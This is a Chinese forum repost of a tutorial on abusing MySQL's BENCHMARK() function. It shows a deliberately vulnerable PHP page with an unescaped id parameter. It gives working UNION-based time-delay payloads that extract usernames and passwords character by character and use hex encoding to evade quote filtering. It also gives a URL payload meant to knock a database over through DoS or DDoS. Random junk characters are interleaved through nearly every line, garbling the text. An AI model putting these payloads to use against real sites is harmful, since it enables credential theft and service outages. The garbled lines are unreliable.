找回密码
 立即注册
查看: 2808|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
  l$ F; j/ s, b+ B  Z8 I  z本文作者:SuperHei
9 g. _) j7 r5 \1 Z文章性质:原创
7 \' X9 K9 F$ h/ p发布日期:2005-01-02# R, ]( L3 v: Q0 q; g  U# F
完成日期:2004-07-09
" R8 Y; q6 U, x$ R/ f第一部0 \! ^3 j- U  x2 |! U2 b) U, O2 _4 w
( J. {$ B8 v; i% o7 w
利用时间推延进行注射---BENCHMARK函数在注射中的利用 $ _! s( B, {) U0 n6 n
9 l+ E4 z9 s8 W# J
一.前言/思路
' p8 M6 J" ?+ c% z8 @/ A- M! P& y) k% a5 Y5 [+ t$ z
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
, Q5 @: r! F. f
3 C$ z) q1 p8 Z4 W0 L  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
  R4 m2 Y  l3 V0 ^) t6 }( Z/ p4 B
二.关于BENCHMARK函数) L8 g& J% X) e& O5 b

1 }/ e  U/ B/ o1 R$ L9 R' s  在MySQL参考手册里可以看到如下描叙: * _- W3 G+ w! u, ^, y3 V) T" I* ]
9 r7 \* K% U* r2 D. Z
) b7 ?8 i+ ], K8 @/ e, A
--------------------------------------------------------------------------------
9 c6 j* n8 V, ^% D3 ?% ?9 m, F; o" M' Q; _+ b5 U$ i( z. l0 m
BENCHMARK(count,expr) + V  ~4 t/ Z6 G) w% o) h
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 * p/ h0 O- d8 O. H4 N9 Z
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
& j" e3 y" x6 n( V  c# }) i+----------------------------------------------+
8 `0 a/ I* S' f( x9 i  R( |' e| BENCHMARK(1000000,encode("hello","goodbye")) | $ z7 i* B6 D- ~6 T/ [3 i
+----------------------------------------------+
. F/ h5 _0 P) E5 k+ O6 e% T+ [+ ^| 0 |
0 G7 X0 b, n9 \3 I0 v& u6 b+----------------------------------------------+
, y$ |3 H: c% D) ?- S- F1 row in set (4.74 sec)
0 g, r2 N1 Z7 H! S# H4 b0 H; H7 `* G* T. T
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。4 o& i" C3 _4 |/ \
5 n, L+ y: k1 S- D6 X
2 H9 b' _( X5 g8 N3 p! \& \
--------------------------------------------------------------------------------
# B; A( a# l. y# l! ?
; @  M6 F5 j6 k$ r4 [- }9 Z5 _  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
  T# \5 a% }( _- d# b, U3 g7 m. l2 m0 y
mysql> select md5( 'test' );
8 h: \& L: {( R" f% J+----------------------------------+
* z" ~8 U3 U( m7 p/ O4 }  ~# _| md5( 'test' ) | ' O! X7 ?, \: U2 E
+----------------------------------+
9 W/ E4 `1 z6 H| 098f6bcd4621d373cade4e832627b4f6 |
  D: m/ P9 M; J% T1 ~8 w+----------------------------------+
4 J* j( k1 s: g, L1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
5 K* X0 @: W4 X! ^# {0 M
- u% k3 r3 \6 s- R; I" ^; ]mysql> select benchmark( 500000, md5( 'test' ) ); , }) E* |( ?# v
+------------------------------------+ 1 o  u/ \: d+ |4 w% r; J0 m  Z" g+ }% }
| benchmark( 500000, md5( 'test' ) ) |
6 E# U! D* ~1 c+------------------------------------+ ) Q7 o1 ~, M7 W7 H) V2 s' v. V# A
| 0 | 0 y! t/ K; ^4 J5 D1 Q/ O
+------------------------------------+ 5 r: M' V% R4 }# ?3 T
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
* L% l4 k" m& @' X 4 B% A; o- E: ^, b
" J4 h! U* d' v5 ~: r
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
' L+ k$ N) F6 u( r; V
" ]( V4 M1 q8 ^# z4 r$ S  b1 J三.具体例子, A' @3 J' f' T3 [/ e( F

" ]) t! s* c- b  ^; ]  首先我们看个简单的php代码:
# J0 a4 B+ M4 _1 b7 v$ F1 @
! N1 e4 P6 x" R! H< ?php , U7 x+ y& J, f" M. ~$ o$ h; \
$servername = "localhost";
+ O9 |% R; H' q7 V# @$dbusername = "root"; + f  o" J/ a- V) z
$dbpassword = ""; - e% B/ T7 @' Y; `
$dbname = "injection"; 5 Z, N6 p6 m3 k. o

. ~8 J% A$ p: bmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); - B; }) K. W+ u3 ^2 k' @0 |

9 z8 g0 c! K6 }0 F$sql = "SELECT * FROM article WHERE articleid=$id";
/ G( l1 c6 ^9 O1 ^$result = mysql_db_query($dbname,$sql);
' c1 \9 C' Q) P$ Y% W0 _, \& ?$row = mysql_fetch_array($result); ) M+ Z6 l$ J' p5 q, _
' i1 C! w& o$ p& K
if (!$row) 2 k0 R5 H5 T8 }. M
{ 0 D8 k/ y' x3 o3 }8 Y% w5 i' H( C6 _+ Q
exit;
3 f4 E5 d$ w  k# `}
7 b2 I4 I; Q* e& z?>* d7 a4 |% Z, [! P8 R

. z0 a6 M" e, I; N
* J. C  {7 ]7 A9 Z7 \  C( P& r  数据库injection结构和内容如下:
1 |5 L! C$ ?- ^3 |1 K! k8 f6 c5 w, Q  C9 Z, V' |. m; S$ }. h
# 数据库 : `injection`
8 L. O! y" t& ~0 [. z# 4 X$ C/ \: O  b9 `# r( Y
! H6 x5 p7 z3 g, r9 J
# --------------------------------------------------------
! A8 v  d. @. h/ H+ j) c0 d6 V/ {" _& t. ^1 V
#   |5 K/ C2 Q% h* y2 E' Q' ?, x: e
# 表的结构 `article`
9 a+ H; m( Y5 g; J0 Y5 O#
: }5 q7 D( j9 e) `. D. R; B. A0 F, F2 j6 S) B0 D
CREATE TABLE `article` (
) r9 t2 I3 u& C) ~: F`articleid` int(11) NOT NULL auto_increment, % Z; Q/ L- T: ?1 w* F% q) Y9 o0 J
`title` varchar(100) NOT NULL default '', % R! V0 d* b$ ^$ o) s
`content` text NOT NULL, 5 v9 m( C& b- X
PRIMARY KEY (`articleid`)
& q/ U5 r0 [! D# \0 [' b/ V5 ^: O) TYPE=MyISAM AUTO_INCREMENT=3 ; + j! M' i9 g: o% B" C) L

8 f3 g( J- q8 i2 O! h' Y- E# 8 I! V5 D. J; ]! M0 g0 O. s# f
# 导出表中的数据 `article`
4 F$ T' c) k' h% O) |3 H' ]2 H# 6 _0 p9 W5 z, U; @
1 j: ^4 W0 s0 g0 X' x! o. o0 d
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 0 T  e. b) N1 V% }) }8 Y- k4 Q
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); * }$ Q' u" F( O8 C! Z8 L7 Y

3 B; y. o& F$ q- ^) n# -------------------------------------------------------- 7 U# J7 g  i, \% H2 D/ ~

/ Q4 ^" {# {7 l, b) e2 x#
5 y8 [$ C& n0 U4 a( |! v# 表的结构 `user`
' A4 d9 i& k& D& i! z+ L# * v/ _. `0 q6 \- H% [) }

4 h" b1 I4 u. t/ q; ~% d9 HCREATE TABLE `user` (
9 e) I$ `$ l# j% s# u* E`userid` int(11) NOT NULL auto_increment, # M0 ~- ^/ i' a' j- R
`username` varchar(20) NOT NULL default '', % A/ v8 ?' L5 K6 A5 ]7 _2 `
`password` varchar(20) NOT NULL default '', : f; k3 v  ^; B+ a! g
PRIMARY KEY (`userid`)
' R! @# x* z, c8 t3 T) TYPE=MyISAM AUTO_INCREMENT=3 ; ! w8 e: Z) `1 L+ F/ `/ X
) e. l" \6 @  N" @) C6 K( H
# + [+ K5 y) W& |+ h# g
# 导出表中的数据 `user`
$ t4 r% A9 q$ F3 f# ' z- E% _! L- G( k+ w

! q8 R9 n' _, h( \- pINSERT INTO `user` VALUES (1, 'angel', 'mypass');
4 S7 v+ J$ J! G9 P5 cINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');3 }7 K9 K% a$ g; ]9 r/ z6 R

, u( h; W% v6 j( p+ e) b
2 V+ X- {) L" D# e  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:7 U8 Y" U' L9 c5 Z+ k" ]

4 L2 Y/ p! _" B2 _+ Z" q" u8 P8 cid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*1 I# v2 B7 [3 y8 z+ U
& ~! I* j4 B4 h
9 U; O4 i+ T: J* h+ x- L/ ~* J7 j
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
: R. L* n3 u- Y' Y% C& S
1 R$ j* E) |7 M& `2 b$ A. Bhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*1 ]  ]# s+ ?1 y3 G! R

9 ?; |  l4 v  B* K* T# S0 q7 v
& {( {, u3 k# r; ]  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
& Q1 d' ?0 ~! I8 W' e$ g5 v/ `" A2 H8 t; |+ h
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
) A2 j- a) r- |# \2 g/ q7 n) R, i% w
第二部
- ~1 v1 a: t" h8 B' G$ m# U! S" P0 R/ F) h. {" Z
利用BENCHMARK函数进行ddos攻击
. k6 p" b7 W3 d8 i) J6 J
# S- t5 h8 `' w  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:' h6 Y. P2 e5 X8 v/ v
9 P. K, C# B# F. i& B
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
9 M! @6 t( _& Y  m ( g0 |) w, f+ T+ q% t) w
9 [6 s" s1 w" r$ v
小结- U7 u' `# }9 I( z- e! I
/ V3 \0 J' Z% E9 Y8 \
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
8 o7 \1 U8 C# H 0 X4 Y! x9 x  m% K0 N2 `: L" c8 b7 O1 t
  ' p  S& k: L, I( a5 p* p3 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表